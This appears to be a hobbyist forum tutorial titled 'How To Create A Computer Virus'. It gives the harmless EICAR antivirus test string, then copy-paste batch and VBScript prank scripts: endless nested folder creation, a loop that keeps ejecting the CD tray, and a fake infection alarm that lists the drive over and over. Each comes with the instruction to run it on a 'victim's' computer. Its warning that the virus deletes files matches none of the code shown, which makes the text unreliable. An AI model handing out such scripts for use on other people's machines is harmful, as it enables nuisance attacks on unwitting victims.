[Virus] How To Create A Computer Virus?

What Is A Virus?

A computer virus is a computer program that can replicate itself and spread from one computer to another. The term "virus" is also commonly, but erroneously used, to refer to other types of malware, including but not limited to adware and spyware programs that do not have a reproductive ability.

Viruses can increase their chances of spreading to other computers by infecting files on a network file system or a file system that is accessed by other computers.

How To Test Your Anti-Virus Software?

This is a small virus which will not effect your computer. This is a test to check your Anti-Virus Software. If your Anti-Virus don't respond the test, change your Anti-Virus...

To test your installation, copy the following line into its own file, then save the file with the name EICAR.COM.

More detailed instructions are found below.

Code:

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

(The file size will be 68 or 70 bytes.)

If VirusScan is running and configured correctly, when you try to save the file, VirusScan will detect the virus. If VirusScan is not running, start it and scan the directory that contains EICAR.COM. When your software scans this file, it will report finding the EICAR test file.

Note that this file is NOT A VIRUS. Delete the file when you have finished testing your installation to avoid alarming unsuspecting users.

Creating Eicar.com

1. Click on Start.
2. Select Run.
3. In the Open box type: notepad
4. Maximize the window.
5. Highlight the following on the following line of text:

Code:

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

6. Right click on the highlighted text and choose 'copy'.
7. Switch back to Notepad.
8. Right click anywhere inside of Notepad and select 'paste'.
9. Click the File menu and select 'save as'.
10. Change the 'Save as Type' to 'all files'.
11. Name the file eicar.com.

WARNING

You will get into serious trouble if you spread this. Although the virus just deletes a files be careful what it deletes. This could even make victims's computer useless. Your victims computer will be in the trash and you in jail.

DISCLAIMER

I am not responsible for any kind of damage to your Computer System…

FOLDER REPLICATOR BATCH VIRUS

What does it do: This is an extremely harmful virus the will keep replicating itself again and again and keeps on creating a folder with same name, until a user stops it.

Step by Step Tutorial:

Step 1. Just open up a notepad, copy and paste the below code.

Code:

cd\
cd C:\Documents and Settings\username\Desktop
:loop
md Virus
cd Virus
goto loop

Step 2. Save it as a batch file with the extension .bat.
Step 3. Then run it on the Victims computer to infect it.
Step 4. Enjoy...

Note: Just close the Window and flooding will stop automatically!

CD ROM VIRUS

What does it do: It will open and close your CD-ROM.

Step by Step Tutorial:

Step 1. Just open up a notepad, copy and paste the below code.

Code:

Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
do
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
loop
End If

Step 2. Save it as a VBscript file with the extension .vbs.
Step 3. Then run it on the Victims computer to infect it.
Step 4. Enjoy...

NOTE: IF U WANT TO CLOSE IT JUST OPEN TASK MANAGER AND END wscript.exe OR RESTART UR SYSTEM.

COMMAND VIRUS

What does it do: It will open the command prompt (MS-DOS).

Step by Step Tutorial:

Step 1. Just open up a notepad, copy and paste the below code.

Code:

@echo off
title VIRUS
color 06

echo YOU HAVE A VIRUS ON YOUR COMPUTER
pause
echo CONTACTING ANTI-VIRUS....
pause
echo DO YOU WANT TO DELETE VIRUS?
pause
echo ACCESS DENIED
echo ACCESS DENIED
echo ACCESS DENIED
pause
echo ACTIVATING VIRUS.....
echo VIRUS ACTIVATED!!!!
pause
:1
dir/s
goto 1

Step 2. Save it as a batch file with the extension .bat.
Step 3. Then run it on the Victims computer to infect it.
Step 4. Enjoy...

NOTE: IF U WANT TO CLOSE IT JUST CLOSE COMMAND PROMPT.